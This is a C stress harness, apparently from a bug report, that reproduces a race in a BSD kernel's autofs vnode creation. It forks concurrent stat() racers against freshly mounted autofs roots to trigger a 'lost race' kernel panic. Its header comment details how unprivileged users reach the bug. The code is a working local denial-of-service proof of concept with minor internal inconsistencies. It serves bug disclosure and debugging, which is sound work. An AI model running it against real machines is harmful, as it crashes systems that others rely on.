DF-0886 / stress_autofs_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | /* * DF-0886 โ autofs_node_vn create race (lost-race KASSERT panic) * * The bug (sys/vfs/autofs/autofs_vnops.c:564-602): * * autofs_node_vn() reads anp->an_vnode under an_vnode_lock (571-573), * DROPS the lock (589), then sleeps in getnewvnode() (591, can block * arbitrarily long), and finally writes anp->an_vnode = vp WITHOUT * re-taking the lock (598). The KASSERT at 597 ("lost race") catches * the case where a second thread observed the same NULL, also dropped * the lock, also slept in getnewvnode(), and won the assignment. * * Two unprivileged processes that stat()/lookup the SAME autofs node * whose vnode is NULL (fresh mount root, freshly-created child, or a * reclaimed node) race through this window. With INVARIANTS (default * GENERIC) the loser panics: * * panic: lost race * Stopped at ... autofs_node_vn+0x... * * Reachability: * - autofs must be loaded (kldload autofs) and mounted (mount_autofs). * Both are root-only on a default box, BUT once the admin has set up * autofs (the normal deployment), ANY unprivileged user triggers * autofs_nresolve -> autofs_node_vn via stat()/ls/open of a path * under the mountpoint. * - The race window is the duration of getnewvnode(). Under vnode * pressure (vnode table near full) getnewvnode sleeps in vnlru * processing, widening the window from microseconds to milliseconds. * * This harness drives the race from userspace: * 1. (as root) mount_autofs a fresh mountpoint โ root vnode is NULL. * 2. Fork RACERS processes that immediately and concurrently stat() * the mountpoint root, racing through autofs_root -> autofs_node_vn. * 3. Repeat MOUNT_LOOP times (fresh mount each time resets an_vnode). * 4. A separate vnode-pressure thread mmaps/opens many files to keep * the vnode table full and getnewvnode slow. * * Usage: ./stress_autofs_race <mountpoint> <racers> <mount_loops> * If the kernel panics with "lost race" the bug is reproduced. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/uio.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static volatile sig_atomic_t go = 0; static volatile sig_atomic_t stop = 0; static void handler_go(int sig __attribute__((unused))) { go = 1; } /* Racer child: spin on stat() of the mountpoint root. */ static void racer(const char *path, int iters) { struct stat st; int i; while (!go) ; /* spin until parent says go */ for (i = 0; i < iters && !stop; i++) { if (stat(path, &st) == 0) continue; /* EIO/ESTALE from the racing mount teardown is fine. */ } _exit(0); } /* Vnode-pressure child: churn file descriptors + mmaps to keep vnlru busy. */ static void pressure(pid_t parent) { int *fds; char buf[64]; int i, n = 2048; fds = calloc(n, sizeof(int)); while (!stop) { for (i = 0; i < n; i++) { snprintf(buf, sizeof(buf), "/bin/.,/bin/,/bin/,/bin/,/bin/,/bin/,/bin/,." ); fds[i] = open("/bin/ls", O_RDONLY); if (fds[i] >= 0) { close(fds[i]); fds[i] = -1; } } /* also churn some mmaps to add VM pressure */ for (i = 0; i < 64; i++) { void *p = malloc(4096); if (p) free(p); } } _exit(0); } int main(int argc, char **argv) { const char *mp; int racers, loops; int loop, r, iters; pid_t *kids; struct sigaction sa; if (argc != 4) { fprintf(stderr, "usage: %s <mountpoint> <racers> <mount_loops>\n", argv[0]); return 2; } mp = argv[1]; racers = atoi(argv[2]); loops = atoi(argv[3]); if (racers < 2 || loops < 1) errx(2, "need >=2 racers and >=1 loop"); memset(&sa, 0, sizeof(sa)); sa.sa_handler = handler_go; sigaction(SIGUSR1, &sa, NULL); kids = calloc(racers, sizeof(pid_t)); printf("DF-0886: autofs_node_vn create race stress\n"); printf("mountpoint=%s racers=%d loops=%d\n", mp, racers, loops); fflush(stdout); /* Launch vnode-pressure child. */ { pid_t pp = fork(); if (pp == 0) pressure(getppid()); } for (loop = 0; loop < loops; loop++) { /* Mount a FRESH autofs (root vnode = NULL). */ char cmd[256]; snprintf(cmd, sizeof(cmd), "/sbin/mount_autofs -o '' -f autofs_%d %s >/dev/null 2>&1", loop, mp); int rc = system(cmd); if (rc != 0) { /* stale mount left over โ try to clean */ (void)system("umount -f autofs 2>/dev/null"); rc = system(cmd); } /* * Fork racers BEFORE signalling go. Each spins on stat() * of the mountpoint root โ they all hit autofs_root -> * autofs_node_vn(anp->an_vnode==NULL) at once. */ iters = 64; for (r = 0; r < racers; r++) { kids[r] = fork(); if (kids[r] == 0) racer(mp, iters); } /* Let them loose simultaneously. */ usleep(1000); for (r = 0; r < racers; r++) kill(kids[r], SIGUSR1); /* Wait for racers. */ for (r = 0; r < racers; r++) (void)waitpid(kids[r], NULL, 0); /* Unmount for next loop. */ (void)system("umount -f autofs 2>/dev/null"); if ((loop % 10) == 0) { printf(" loop %d/%d done (no panic)\n", loop, loops); fflush(stdout); } } stop = 1; (void)kill(0, SIGUSR1); while (waitpid(-1, NULL, 0) > 0) ; printf("DF-0886: completed %d loops with %d racers, no panic observed\n", loops, racers); printf("(If you see this, the race did not fire this run.\n"); printf(" The window is one getnewvnode(); rerun or widen pressure.)\n"); return 0; } |